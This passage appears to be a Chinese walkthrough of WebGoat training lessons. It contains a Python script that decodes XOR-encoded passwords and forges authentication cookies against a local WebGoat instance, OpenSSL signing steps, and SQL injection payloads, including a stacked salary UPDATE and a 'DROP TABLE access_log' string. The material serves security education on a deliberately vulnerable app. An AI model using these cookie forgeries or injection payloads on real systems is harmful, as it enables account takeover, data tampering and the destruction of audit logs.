    decoded_password = ''.join([chr(b ^ key_byte) for b in decoded_bytes])

    # 检查是否为合理的密码(包含字母数字字符)
    if (len(decoded_password) > 0 and
    all(32 <= ord(c) <= 126 for c in decoded_password) and
    any(c.isalnum() for c in decoded_password)):

    results.append((key_byte, chr(key_byte) if 32 <= key_byte <= 126 else f'\\\\x{key_byte:02x}', decoded_password))
    print(f"密钥 0x{key_byte:02X} ('{chr(key_byte) if 32 <= key_byte <= 126 else '?'}'): {decoded_password}")

    except (ValueError, UnicodeDecodeError):
    continue

    print(f"\\n找到 {len(results)} 个可能的解码结果")

    if results:
    print("\\n=== 最可能的密码 ===")
    # 选择最合理的结果(通常是包含常见密码字符的)
    for key_byte, key_char, password in results:
    print(f"密钥: 0x{key_byte:02X} ({key_char}) -> 密码: '{password}'")

    return results

    except Exception as e:
    print(f"解码失败: {e}")
    return []

    def analyze_xor_pattern(encoded_string):
    """
    分析XOR编码的模式
    """
    print("=== XOR编码模式分析 ===")

    try:
    # Base64解码
    decoded_bytes = base64.b64decode(encoded_string)
    print(f"原始字节: {[hex(b) for b in decoded_bytes]}")
    print(f"字节长度: {len(decoded_bytes)}")

    # 分析字节模式
    print("\\n字节值分析:")
    for i, byte_val in enumerate(decoded_bytes):
    print(f"位置 {i}: 0x{byte_val:02X} ({byte_val}) -> 二进制: {bin(byte_val)[2:].zfill(8)}")

    # 检查是否有重复模式
    if len(decoded_bytes) > 1:
    print(f"\\n相邻字节XOR:")
    for i in range(len(decoded_bytes) – 1):
    xor_result = decoded_bytes[i] ^ decoded_bytes[i + 1]
    print(f"字节{i} XOR 字节{i+1}: 0x{xor_result:02X}")

    except Exception as e:
    print(f"分析失败: {e}")

    def analyze_cookies():
    """
    分析现有Cookie的编码规律
    """
    # 已知的Cookie数据
    cookies_data = {
    "webgoat": "NDE3MzY2NjQ2MTU3NmU0ODcwNmQ3NDYxNmY2NzYyNjU3Nw==",
    "admin": "NDE3MzY2NjQ2MTU3NmU0ODcwNmQ2ZTY5NmQ2NDYx"
    }

    print("=== Cookie分析 ===")
    for username, cookie in cookies_data.items():
    try:
    # Base64解码
    decoded = base64.b64decode(cookie)
    print(f"用户: {username}")
    print(f"原始Cookie: {cookie}")
    print(f"Base64解码(bytes): {decoded}")
    print(f"Base64解码(hex): {decoded.hex()}")

    # 尝试转换为字符串
    try:
    decoded_str = decoded.decode('utf-8')
    print(f"解码字符串: {decoded_str}")
    except:
    print("无法解码为UTF-8字符串")

    print("-" * 50)
    except Exception as e:
    print(f"解码失败: {e}")

    return cookies_data

    def generate_tom_cookie():
    """
    根据分析结果生成Tom的Cookie
    """
    print("=== 生成Tom的Cookie ===")

    # 根据观察到的规律,Cookie似乎包含用户名的十六进制编码
    # 让我们分析webgoat和admin的编码规律

    # webgoat的十六进制: 77656267656f6174
    # admin的十六进制: 61646d696e
    # Tom的十六进制: 546f6d (Tom)

    webgoat_hex = "77656267656f6174".encode().hex()
    admin_hex = "61646d696e".encode().hex()
    tom_hex = "546f6d".encode().hex()

    print(f"webgoat十六进制: {webgoat_hex}")
    print(f"admin十六进制: {admin_hex}")
    print(f"Tom十六进制: {tom_hex}")

    # 观察已知Cookie的规律
    # webgoat: 4173666464615765484706d7461666762657
    # admin: 4173666464615765484706d6e696d6461

    # 看起来有一个固定前缀,然后是用户名的某种编码
    # 让我尝试分析具体的编码方式

    # 先分析webgoat的解码结果
    webgoat_decoded = base64.b64decode("NDE3MzY2NjQ2MTU3NmU0ODcwNmQ3NDYxNmY2NzYyNjU3Nw==")
    admin_decoded = base64.b64decode("NDE3MzY2NjQ2MTU3NmU0ODcwNmQ2ZTY5NmQ2NDYx")

    print(f"webgoat解码hex: {webgoat_decoded.hex()}")
    print(f"admin解码hex: {admin_decoded.hex()}")

    # 分析规律:看起来都有相同的前缀
    common_prefix = "4173666464615765484706d"

    # webgoat后缀: 7461666762657
    # admin后缀: 6e696d6461

    # 让我尝试找出Tom的规律
    # Tom的ASCII: T=54, o=6f, m=6d
    tom_ascii_hex = "546f6d"

    # 根据观察,似乎用户名被编码后附加到固定前缀后
    # 让我尝试构造Tom的Cookie

    # 尝试不同的编码方式
    tom_variations = [
    common_prefix + "546f6d", # 直接附加
    common_prefix + "6d6f54", # 反转
    common_prefix + "746f6d", # 小写t
    ]

    print("\\n尝试生成Tom的Cookie变体:")
    for i, variation in enumerate(tom_variations):
    try:
    # 转换为bytes然后Base64编码
    variation_bytes = bytes.fromhex(variation)
    tom_cookie = base64.b64encode(variation_bytes).decode()
    print(f"变体{i+1}: {tom_cookie}")
    except Exception as e:
    print(f"变体{i+1}生成失败: {e}")

    return tom_variations

    def test_tom_login(tom_cookie):
    """
    使用伪造的Cookie测试Tom身份登录
    """
    print(f"=== 测试Tom登录,Cookie: {tom_cookie} ===")

    url = "http://127.0.0.1:8080/WebGoat/access-control/users-admin-fix"

    headers = {
    "sec-ch-ua": '"Not?A_Brand";v="99", "Chromium";v="130"',
    "sec-ch-ua-mobile": "?0",
    "sec-ch-ua-platform": '"Windows"',
    "Accept-Language": "zh-CN,zh;q=0.9",
    "Upgrade-Insecure-Requests": "1",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Sec-Fetch-Site": "none",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-User": "?1",
    "Sec-Fetch-Dest": "document",
    "Accept-Encoding": "gzip, deflate, br",
    "Connection": "keep-alive",
    "Content-Type": "application/json",
    }

    cookies = {
    "JSESSIONID": "F32AD34C7F61890867D6A2B29ED0094C",
    "spoof_auth": tom_cookie
    }

    try:
    response = requests.get(url, headers=headers, cookies=cookies)

    print(f"状态码: {response.status_code}")
    print(f"响应头: {dict(response.headers)}")
    print(f"响应内容: {response.text[:500]}…") # 只显示前500字符

    # 检查是否成功以Tom身份登录
    if "Tom" in response.text:
    print("✓ 成功以Tom身份登录!")
    return True
    else:
    print("✗ 未能以Tom身份登录")
    return False

    except requests.exceptions.RequestException as e:
    print(f"请求失败: {e}")
    return False

    def send_webgoat_request():
    """
    发送WebGoat访问控制用户admin-fix请求
    """
    url = "http://127.0.0.1:8080/WebGoat/access-control/users-admin-fix"

    headers = {
    "sec-ch-ua": '"Not?A_Brand";v="99", "Chromium";v="130"',
    "sec-ch-ua-mobile": "?0",
    "sec-ch-ua-platform": '"Windows"',
    "Accept-Language": "zh-CN,zh;q=0.9",
    "Upgrade-Insecure-Requests": "1",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Sec-Fetch-Site": "none",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-User": "?1",
    "Sec-Fetch-Dest": "document",
    "Accept-Encoding": "gzip, deflate, br",
    "Connection": "keep-alive",
    "Content-Type": "application/json",
    }

    cookies = {
    "JSESSIONID": "F32AD34C7F61890867D6A2B29ED0094C"
    }

    try:
    response = requests.get(url, headers=headers, cookies=cookies)

    print(f"状态码: {response.status_code}")
    print(f"响应头: {dict(response.headers)}")
    print(f"响应内容: {response.text}")

    return response

    except requests.exceptions.RequestException as e:
    print(f"请求失败: {e}")
    return None

    def analyze_cookie_pattern():
    """
    深入分析Cookie的编码规律
    """
    print("=== 深入分析Cookie编码规律 ===")

    # 已知Cookie数据
    webgoat_cookie = "NDE3MzY2NjQ2MTU3NmU0ODcwNmQ3NDYxNmY2NzYyNjU3Nw=="
    admin_cookie = "NDE3MzY2NjQ2MTU3NmU0ODcwNmQ2ZTY5NmQ2NDYx"

    # Base64解码
    webgoat_decoded = base64.b64decode(webgoat_cookie)
    admin_decoded = base64.b64decode(admin_cookie)

    print(f"webgoat Cookie解码 (hex): {webgoat_decoded.hex()}")
    print(f"admin Cookie解码 (hex): {admin_decoded.hex()}")

    # 分析十六进制数据
    webgoat_hex = webgoat_decoded.hex()
    admin_hex = admin_decoded.hex()

    print(f"\\nwebgoat十六进制: {webgoat_hex}")
    print(f"admin十六进制: {admin_hex}")

    # 寻找共同前缀
    common_prefix = ""
    for i in range(min(len(webgoat_hex), len(admin_hex))):
    if webgoat_hex[i] == admin_hex[i]:
    common_prefix += webgoat_hex[i]
    else:
    break

    print(f"共同前缀: {common_prefix}")
    print(f"webgoat后缀: {webgoat_hex[len(common_prefix):]}")
    print(f"admin后缀: {admin_hex[len(common_prefix):]}")

    # 分析用户名编码
    print(f"\\n=== 用户名编码分析 ===")

    # webgoat的ASCII编码
    webgoat_ascii = "webgoat".encode().hex()
    admin_ascii = "admin".encode().hex()
    tom_ascii = "Tom".encode().hex()

    print(f"webgoat ASCII hex: {webgoat_ascii}")
    print(f"admin ASCII hex: {admin_ascii}")
    print(f"Tom ASCII hex: {tom_ascii}")

    # 检查后缀是否包含用户名
    webgoat_suffix = webgoat_hex[len(common_prefix):]
    admin_suffix = admin_hex[len(common_prefix):]

    print(f"\\n检查后缀中是否包含用户名:")
    print(f"webgoat后缀: {webgoat_suffix}")
    print(f"webgoat ASCII: {webgoat_ascii}")
    print(f"是否匹配: {webgoat_ascii in webgoat_suffix}")

    print(f"admin后缀: {admin_suffix}")
    print(f"admin ASCII: {admin_ascii}")
    print(f"是否匹配: {admin_ascii in admin_suffix}")

    # 尝试反向编码
    webgoat_reversed = "webgoat"[::-1].encode().hex()
    admin_reversed = "admin"[::-1].encode().hex()

    print(f"\\n反向编码检查:")
    print(f"webgoat反向: {webgoat_reversed}")
    print(f"admin反向: {admin_reversed}")
    print(f"webgoat反向匹配: {webgoat_reversed in webgoat_suffix}")
    print(f"admin反向匹配: {admin_reversed in admin_suffix}")

    return common_prefix, webgoat_suffix, admin_suffix

    def generate_tom_cookie_final():
    """
    基于分析结果生成Tom的最终Cookie
    """
    print(f"\\n=== 生成Tom的Cookie ===")

    # 获取分析结果
    common_prefix, webgoat_suffix, admin_suffix = analyze_cookie_pattern()

    # Tom的各种编码方式
    tom_normal = "Tom".encode().hex()
    tom_lower = "tom".encode().hex()
    tom_reversed = "Tom"[::-1].encode().hex()
    tom_lower_reversed = "tom"[::-1].encode().hex()

    print(f"\\nTom的各种编码:")
    print(f"正常: {tom_normal}")
    print(f"小写: {tom_lower}")
    print(f"反向: {tom_reversed}")
    print(f"小写反向: {tom_lower_reversed}")

    # 基于观察到的规律生成Tom的Cookie
    possible_toms = [
    common_prefix + tom_normal,
    common_prefix + tom_lower,
    common_prefix + tom_reversed,
    common_prefix + tom_lower_reversed,
    ]

    print(f"\\n可能的Tom Cookie变体:")
    for i, tom_hex in enumerate(possible_toms):
    try:
    tom_bytes = bytes.fromhex(tom_hex)
    tom_cookie = base64.b64encode(tom_bytes).decode()
    print(f"变体{i+1}: {tom_cookie}")
    except Exception as e:
    print(f"变体{i+1}生成失败: {e}")

    # 根据最可能的规律推测Tom的Cookie
    print(f"\\n=== 最终推测 ===")

    # 如果webgoat和admin都使用了某种特定的编码规律
    # 我们需要找出这个规律并应用到Tom上

    # 让我尝试更仔细地分析
    print("详细分析webgoat和admin的编码规律…")

    # 直接分析十六进制字符串
    webgoat_decoded = base64.b64decode("NDE3MzY2NjQ2MTU3NmU0ODcwNmQ3NDYxNmY2NzYyNjU3Nw==")
    admin_decoded = base64.b64decode("NDE3MzY2NjQ2MTU3NmU0ODcwNmQ2ZTY5NmQ2NDYx")

    # 转换为字符串看看
    try:
    webgoat_str = ''.join([chr(b) for b in webgoat_decoded if 32 <= b <= 126])
    admin_str = ''.join([chr(b) for b in admin_decoded if 32 <= b <= 126])
    print(f"webgoat可打印字符: {webgoat_str}")
    print(f"admin可打印字符: {admin_str}")
    except:
    print("无法转换为可打印字符")

    def test_xor_decode():
    """
    测试XOR解码功能
    """
    print("=== 测试XOR解码 ===")

    # 给定的XOR编码字符串
    xor_encoded = "Oz4rPj0+LDovPiwsKDAtOw=="

    print(f"要解码的字符串: {xor_encoded}")

    # 首先分析编码模式
    analyze_xor_pattern(xor_encoded)

    print("\\n" + "="*50 + "\\n")

    # 尝试解码
    results = xor_decode_ibm_websphere(xor_encoded)

    if results:
    print(f"\\n 解码成功!找到 {len(results)} 个可能的密码:")
    for i, (key_byte, key_char, password) in enumerate(results, 1):
    print(f"{i}. 使用密钥 0x{key_byte:02X} ('{key_char}') -> 密码: '{password}'")
    else:
    print("\\n 未找到合适的解码结果")

    if __name__ == "__main__":
    # 测试XOR解码
    test_xor_decode()

    print("\\n" + "="*60 + "\\n")

    # 原有的Cookie分析(注释掉以专注于XOR解码)
    # analyze_cookies()
    # generate_tom_cookie_final()

    其实如果知道IBM应用默认用_做密钥的话,那还是很快能解出来的,主要是我没有搜到嘿嘿。

    Plain Hashing(普通哈希)

    普通哈希

    哈希是一种加密技术,主要用于检测原始数据是否被更改。哈希是从原始数据生成的。它基于不可逆的加密技术。如果原始数据改变哪怕一个字节,生成的哈希也会不同。

    因此,从表面上看,它似乎是一种安全的技术。然而,它不是,甚至永远不是用于密码的好解决方案。问题在于,你可以从字典中生成密码,并计算这些密码的各种变体的哈希。对于每个密码,你可以计算一个哈希。这都可以存储在大型数据库中。因此,每当你找到一个可能是密码的哈希时,你只需在数据库中查找该哈希并找到密码。

    一些哈希算法不应再使用:MD5、SHA-1。对于这些哈希,可以通过更改有效载荷的方式使其仍然产生相同的哈希。这需要大量的计算能力,但仍然是一种可行的选择。

    加盐哈希

    显然,明文密码不应存储在数据库中。对于普通哈希也是如此。OWASP 密码存储作弊表解释了当需要安全存储密码相关信息时应使用的方法。

    作业

    现在让我们看看你是否能够找出哪些密码与哪些普通(未加盐)哈希匹配。

    第一个一眼md5

    第二个

    RAW signatures(签名)

    签名是一种哈希,可用于检查某些数据的有效性。签名可以单独提供,也可以与它验证的数据一起提供,或者在 CMS 或 SOAP 的情况下可以包含在同一文件中。(文件的某些部分包含数据,而其他部分包含签名。)

    当完整性很重要时,会使用签名。它旨在保证从一方(A)发送到另一方(B)的数据未被更改。因此,A 方通过使用非对称私钥计算数据的哈希并加密该哈希来签名数据。B 方可以通过计算数据的哈希并解密签名来验证数据,以比较两个哈希是否相同。

    原始签名

    通常由 A 方计算原始签名,步骤如下:

    创建数据的哈希(例如 SHA-256 哈希)

    使用非对称私钥加密哈希(例如 RSA 2048 位密钥)

    (可选)使用 base64 编码对二进制加密哈希进行编码

    B 方也需要获取带有公钥的证书。这可能需要事先交换。因此至少涉及 3 个文件:数据、签名和证书。

    CMS 签名

    CMS 签名是一种标准化方式,用于将数据 + 签名 + 证书与从 A 方到 B 方的公钥一起发送。只要证书有效且未被吊销,B 方就可以使用提供的公钥来验证签名。

    SOAP 签名

    SOAP 签名还包含数据和签名,以及可选的证书。所有这些都在一个 XML 负载中。在计算数据的哈希时涉及特殊步骤。这必须考虑到 SOAP XML 从系统到系统发送时可能会引入额外的时间戳元素。此外,SOAP 签名提供了由不同方签名消息不同部分的可能性。

    电子邮件签名

    发送电子邮件并不困难。你可以填写一些数据并将其发送到一个服务器,该服务器会将其转发到最终目的地。然而,可以发送带有与你的电子邮件地址不同的 FROM 字段的电子邮件,为了确保你真正发送了这封电子邮件,你可以签名你的电子邮件。一个可信的第三方将检查你的身份并颁发电子邮件签名证书。你可以在电子邮件应用程序中安装私钥并配置它来签名你发送的电子邮件。证书是针对特定电子邮件地址颁发的,所有收到此电子邮件的人都会看到发件人已验证的指示,因为验证签名的工具将验证由可信第三方颁发的公证书。

    PDF 或 Word 或其他签名

    Adobe PDF 文档和 Microsoft Word 文档也是支持签名的文件类型。签名也在文档内部,因此有一些关于数据是什么以及它是元数据的一部分的描述。政府通常发送包含证书的 PDF 格式的官方文件。

    作业

    这里有一个简单的作业。发送给你一个私钥 RSA 密钥。确定 RSA 密钥的模数作为十六进制字符串,并使用该密钥计算该十六进制字符串的签名。该练习需要一些 OpenSSL 经验。你可以在 Internet 上搜索有用的命令和/或使用 HINTS 按钮获取一些提示。

    下载个openssl工具,把他给的rsa私钥保存下来,生成公钥

    openssl rsa -in private.pem.txt -pubout -out public.pem

    得到公钥:

    —–BEGIN PUBLIC KEY—–
    MIIBITANBgkqhkiG9w0BAQEFAAOCAQ4AMIIBCQKCAQEAhqOEpPyZqXV5aRF+gEwi
    aV5bOYWONkHFHIiDbkjjvdvWuY/8pxDCUKFH4V6jFpYItV65xmhA6RDHTRsmbfVC
    TLiewhpNLJ47xf4Uuox9V1lJiesgLnYqblf+yNwbM/SHlGHat55vQzHwU045lYC9
    hXY3/s4xiJ9ZVwI8u+zRNTnQxR6YjXKqmZ0sALU5otSZVghsJKjT24jXSI/2EqFH
    co4wYccDQ89l67hJLRotkarQGh2rEN3JMjvJ9jo1uW+NsyDS3deha5DuaeBeYrir
    FW/hwnhfIRQ++wxgoA8qU6AonhIPxsWZxtUdg3Mo3X37NZVL1sOr0Jct/OaM1jYN
    LwICAQE=
    —–END PUBLIC KEY—–

    提取模数:

    openssl rsa -pubin -in public.pem -text -noout

    得到

    Modulus:
    00:86:a3:84:a4:fc:99:a9:75:79:69:11:7e:80:4c:
    22:69:5e:5b:39:85:8e:36:41:c5:1c:88:83:6e:48:
    e3:bd:db:d6:b9:8f:fc:a7:10:c2:50:a1:47:e1:5e:
    a3:16:96:08:b5:5e:b9:c6:68:40:e9:10:c7:4d:1b:
    26:6d:f5:42:4c:b8:9e:c2:1a:4d:2c:9e:3b:c5:fe:
    14:ba:8c:7d:57:59:49:89:eb:20:2e:76:2a:6e:57:
    fe:c8:dc:1b:33:f4:87:94:61:da:b7:9e:6f:43:31:
    f0:53:4e:39:95:80:bd:85:76:37:fe:ce:31:88:9f:
    59:57:02:3c:bb:ec:d1:35:39:d0:c5:1e:98:8d:72:
    aa:99:9d:2c:00:b5:39:a2:d4:99:56:08:6c:24:a8:
    d3:db:88:d7:48:8f:f6:12:a1:47:72:8e:30:61:c7:
    03:43:cf:65:eb:b8:49:2d:1a:2d:91:aa:d0:1a:1d:
    ab:10:dd:c9:32:3b:c9:f6:3a:35:b9:6f:8d:b3:20:
    d2:dd:d7:a1:6b:90:ee:69:e0:5e:62:b8:ab:15:6f:
    e1:c2:78:5f:21:14:3e:fb:0c:60:a0:0f:2a:53:a0:
    28:9e:12:0f:c6:c5:99:c6:d5:1d:83:73:28:dd:7d:
    fb:35:95:4b:d6:c3:ab:d0:97:2d:fc:e6:8c:d6:36:
    0d:2f
    Exponent: 257 (0x101)

    提取模数(单行):

    openssl rsa -pubin -in public.pem -modulus -noout

    得到

    Modulus=86A384A4FC99A9757969117E804C22695E5B39858E3641C51C88836E48E3BDDBD6B98FFCA710C250A147E15EA3169608B55EB9C66840E910C74D1B266DF5424CB89EC21A4D2C9E3BC5FE14BA8C7D57594989EB202E762A6E57FEC8DC1B33F4879461DAB79E6F4331F0534E399580BD857637FECE31889F5957023CBBECD13539D0C51E988D72AA999D2C00B539A2D49956086C24A8D3DB88D7488FF612A147728E3061C70343CF65EBB8492D1A2D91AAD01A1DAB10DDC9323BC9F63A35B96F8DB320D2DDD7A16B90EE69E05E62B8AB156FE1C2785F21143EFB0C60A00F2A53A0289E120FC6C599C6D51D837328DD7DFB35954BD6C3ABD0972DFCE68CD6360D2F

    第一个空就完成了,接下来是第二个空,需要用给定的私钥对上一步得到的 modulus(作为消息内容)做一个签名。把 modulus 那个长长的十六进制字符串保存到一个文件(比如 modulus.txt),然后用 openssl dgst -sha256 -sign private.pem 去生成签名文件。

    openssl dgst -sha256 -sign private.pem -out signature.bin modulus.txt
    # 转换成base64编码
    openssl base64 -in signature.bin -out signature.b64

    I9uibr13H7pMLfHSyt0kmkDXYx7hFEckxxaZupALZrPwYvjvV4Hvme/MTokixBdi
    8BNZfiB76SQNQfVwvOjW3mg5TuOC6KKthQfGa4N/y4u0VXuIKbWwf29xYLw0CfjO
    Zfxr6eTIkMDbIGHMG8jTAC60K/taQb2f4Z5JAuQRW7IQFKmM6XL51l8cbpvEWLbv
    GUT8JCWvsmzLvc467iELqZtzA2yPAgkuQ4lbrxU8AKYfI5nf2UKsvvcstDutSHdc
    jvgKqG4SimLPgf3d66bdNJjFUDZNSeiCdUbSDRsIx6ERndtOySb5V/X/E1bO7/gw
    l+qiz/TMNEQb62huQRaT8g==

    Java cacerts(Java 默认信任库)

    翻译:

    各类系统中普遍存在的一个大问题是默认配置的使用。例如,路由器中的默认用户名/密码、密钥库的默认密码、默认未加密模式等。

    Java cacerts

    您是否曾更改过它?为cacerts文件设置密码会带来一些影响。当需要保护受信任的证书颁发机构,并且无法轻易添加未知的自签名证书机构时,这一点非常重要。

    保护您的id_rsa私钥

    您是否在使用SSH密钥访问GitHub或其他网站,并将其未加密地留在磁盘上?甚至存储在云盘中?默认情况下,生成的SSH密钥对会使私钥处于未加密状态。虽然这便于使用,且若存储在仅您本人可访问的位置,能提供足够的保护,但更安全的做法是加密密钥。使用时需再次输入密码。

    服务器SSH用户名/密码认证

    从托管服务商处获取虚拟服务器时,通常存在许多不太安全的默认设置。其中之一是SSH服务运行在默认端口22上,并允许用户名/密码尝试登录。首要措施应是修改配置:禁止以root用户SSH登录,禁用用户名/密码认证,仅允许使用有效且强度高的SSH密钥登录。否则,您将持续遭遇针对服务器的暴力破解登录尝试。

    任务要求

    本次练习需要您从意外遗留密码的Docker容器镜像中获取密钥。使用该密钥可解密以下消息:

    U2FsdGVkX199jgh5oANElFdtCxIEvdEvciLi+v+5loE+VCuy6Ii0b+5byb5DXp32RPmT02Ek1pf55ctQN+DHbwCPiVRfFQamDmbHBUpD7as=

    您可通过登录正在运行的容器(使用docker exec命令)并访问位于/root目录下的密码文件来解密消息。随后在容器内使用openssl命令(为避免Windows/Mac/Linux系统间openssl的兼容性问题)。密钥存在于以下Docker镜像中,启动方式如下:

    docker run -d webgoat/assignments:findthesecret

    echo “U2FsdGVkX199jgh5oANElFdtCxIEvdEvciLi+v+5loE+VCuy6Ii0b+5byb5DXp32RPmT02Ek1pf55ctQN+DHbwCPiVRfFQamDmbHBUpD7as=” | openssl enc -aes-256-cbc -d -a -kfile …

    请回答:

  • 解密后的消息内容是什么?

  • 存储密码的文件名称是什么?

  • 用于这题要用docker,所以在kali上操作。

    怎么拉取镜像的详细就不说了,确保科学上网就行。

    进容器的时候要注意root身份进去,不然访问不到/root目录

    根据提示输入命令,把文件内容放进去

    得到答案:Leaving passwords in docker images is not so secure和default_secret

    四、(A3)Injection(注入)

    SQL Injection(intro)(SQL注入(基础介绍))

    翻译:

    什么是SQL?

    SQL是一种标准化(1986年成为ANSI标准,1987年成为ISO标准)的编程语言,用于管理关系型数据库并对其中的数据进行各种操作。

    数据库是数据的集合。数据被组织成行、列和表格的形式,并通过索引来提高查找相关信息的效率。

    示例SQL表(表名为’employees’)包含员工数据:

    员工表

    工号 名字 姓氏 部门 薪资 认证码

    某公司在数据库中保存以下员工信息:唯一工号(‘userid’)、姓氏、名字、部门、薪资和交易认证码(‘auth_tan’)。每条信息分别存储在不同列中,每行代表公司的一名员工。

    SQL查询可用于修改数据库表及其索引结构,并添加、更新和删除数据行。

    SQL命令主要分为三类:

    数据操作语言(DML)

    数据定义语言(DDL)

    数据控制语言(DCL)

    攻击者可能利用这些命令类型来破坏系统的机密性、完整性和/或可用性。继续学习以了解更多关于SQL命令类型及其与保护目标的关联。

    现在轮到您了!

    请查看示例表格,尝试查询员工鲍勃·佛朗哥所在的部门。请注意,在本练习中您已被授予完全管理员权限,无需验证即可访问所有数据。

    直接写sql查就行

    翻译:

    数据操作语言 (DML)

    顾名思义,数据操作语言用于处理数据的操作。许多最常见的SQL语句,包括SELECT、INSERT、UPDATE和DELETE,都可归类为DML语句。DML语句可用于查询记录(SELECT)、添加记录(INSERT)、删除记录(DELETE)以及修改现有记录(UPDATE)。

    如果攻击者成功将DML语句"注入"到SQL数据库中,他可能破坏系统的机密性(通过SELECT语句)、完整性(通过UPDATE语句)和可用性(通过DELETE或UPDATE语句)。

    DML命令用于存储、检索、修改和删除数据

    SELECT – 从数据库检索数据

    INSERT – 向数据库插入数据

    UPDATE – 更新数据库中的现有数据

    DELETE – 从数据库中删除记录

    示例:

    检索数据

    SELECT phone FROM employees WHERE userid = 96134;

    该语句用于检索工号为96134的员工电话号码

    轮到您了!

    请尝试将Tobi Barnett的部门修改为’Sales’。请注意,在本练习中您已被授予完全管理员权限,无需验证即可访问所有数据。

    翻译:

    数据定义语言 (DDL)

    数据定义语言包含用于定义数据结构的命令。DDL命令通常用于定义数据库的模式。模式指的是数据库的整体结构或组织方式,在SQL数据库中包括表、索引、视图、关系、触发器等对象。

    如果攻击者成功将DDL类型的SQL命令"注入"到数据库中,他可能破坏系统的完整性(通过ALTER和DROP语句)和可用性(通过DROP语句)。

    DDL命令用于创建、修改和删除数据库对象的结构

    CREATE – 创建表和视图等数据库对象

    ALTER – 修改现有数据库的结构

    DROP – 从数据库中删除对象

    示例:

    CREATE TABLE employees(

    userid varchar(6) not null primary key,

    first_name varchar(20),

    last_name varchar(20),

    department varchar(20),

    salary varchar(10),

    auth_tan varchar(6)

    );

    该语句创建了第2页中给出的员工示例表

    现在请尝试修改模式,向"employees"表中添加"phone"列(varchar(20))

    翻译:

    数据控制语言 (DCL)

    数据控制语言用于实现数据库中的访问控制逻辑。DCL可用于撤销(REVOKE)和授予(GRANT)用户对表、视图和函数等数据库对象的访问权限。

    如果攻击者成功将DCL类型的SQL命令"注入"到数据库中,他可能破坏系统的机密性(通过GRANT命令)和可用性(通过REVOKE命令)。例如,攻击者可以授予自己数据库管理员权限,或撤销真正管理员的权限。

    DCL命令用于对数据库对象实施访问控制

    GRANT – 授予用户对数据库对象的访问权限

    REVOKE – 撤销之前通过GRANT授予的用户权限

    请尝试将表 grant_rights 的权限授予用户 unauthorized_user

    总结一下这几题应该就是让你了解下sql是什么东西,继续

    翻译:

    尝试吧!字符串SQL注入

    代码中的查询构建了一个动态查询(如先前示例所示)。该查询通过字符串拼接的方式构建,使其易受字符串SQL注入攻击

    请尝试使用下面的表单来检索users表中的所有用户。您不需要知道任何特定用户名即可获取完整列表。

    对应着类型选就行,这是字符型,需要单引号

    翻译:

    尝试吧!数字型SQL注入

    代码中的查询构建了一个动态查询(如先前示例所示)。该查询通过拼接数字的方式构建,使其易受数字型SQL注入攻击

    使用下面的两个输入字段,尝试从用户表中检索所有数据。

    警告:只有一个字段存在SQL注入漏洞。您需要找出是哪个字段,才能成功检索所有数据。

    注入点在User_ID。

    翻译:

    通过字符串SQL注入危害机密性

    如果一个系统存在SQL注入漏洞,其CIA三要素(保密性、完整性、可用性)可能轻易被破坏(如果不熟悉CIA三要素,请查看通用类别中的CIA三要素课程)。接下来三节课程中,您将学习如何通过字符串SQL注入或查询链等技术来破坏CIA的每个方面。

    本节课程将重点讨论机密性。攻击者利用SQL注入可轻易破坏机密性;例如,成功的SQL注入允许攻击者从数据库中读取敏感数据(如信用卡号)。

    什么是字符串SQL注入?

    如果应用程序仅通过将用户提供的字符串拼接到查询中来构建SQL查询,那么该应用程序很可能极易受到字符串SQL注入攻击。

    具体来说,如果用户提供的字符串未经任何清理或预处理直接拼接到SQL查询中,您可能只需在输入字段中插入引号即可修改查询行为。例如,您可以用引号结束字符串参数,并在其后输入自己的SQL代码。

    轮到您了!

    您是一家大公司的员工John Smith。公司有一个内部系统,允许所有员工查看自己的内部数据,例如所属部门和工资。

    该系统要求员工使用唯一的认证TAN(交易认证码)查看数据。

    您当前的TAN是3SL99A。

    由于您一直渴望成为薪资最高的员工,您想利用该系统查看所有同事的数据(而非仅自己的数据),以了解他们当前的工资水平。

    请使用以下表单,尝试从employees表中检索所有员工数据。您不需要知道任何具体姓名或TAN即可获取所需信息。

    您已发现执行请求的查询如下:

    获取部门信息

    只填第一个空就可以

    翻译:

    通过查询链式攻击破坏数据完整性

    在上一课中破坏了数据的机密性之后,本次我们将通过使用SQL查询链式攻击来破坏数据的完整性。

    如果存在足够严重的漏洞,SQL注入可能被用来破坏数据库中任何数据的完整性。成功的SQL注入可能允许攻击者更改他本不应访问的信息。

    什么是SQL查询链式攻击?

    查询链式攻击顾名思义。通过查询链式攻击,您可以尝试在实际查询的末尾附加一个或多个查询。您可以通过使用分号(;)来实现这一点。分号表示SQL语句的结束;它允许在初始查询之后立即开始另一个查询,甚至无需换行。

    轮到您了!

    您刚刚发现Tobi和Bob的薪水似乎都比您高!当然您不能对此置之不理。

    最好去修改您自己的薪水,让您成为收入最高的人!

    Smith'; UPDATE employees SET salary = 1000000 WHERE last_name = 'Smith' AND auth_tan = '3SL99A'; —

    翻译:

    破坏可用性

    在成功破坏了前文所述的机密性与完整性之后,我们现在要将目标指向CIA三要素中的最后一项:可用性。

    破坏可用性的手段多种多样。例如,若某个账户被删除或其密码遭篡改,实际所有者将无法再访问该账户。攻击者也可能试图删除部分数据库内容,甚至直接销毁整个数据库,使数据无法被获取。此外,通过撤销管理员或其他用户的访问权限,也能破坏可用性——这将阻止这些用户访问数据库的特定部分或整个系统。

    轮到你了!

    现在你已是公司收入最高的员工。但看到了吗?似乎存在一个记录所有操作日志的access_log表!

    最好在被人发现之前彻底删除它。

    操作界面包含:

    输入搜索字符串

    搜索日志

    '; DROP TABLE access_log; —

    SQL Injection (advanced)(SQL注入(进阶))

    翻译:

    试试看!从其他表中提取数据

    下面的输入字段用于通过姓氏获取用户数据。

    该表名为 ‘user_data’:

    创建表 user_data (用户ID int 非空,

    名字 varchar(20),

    姓氏 varchar(20),

    信用卡号 varchar(30),

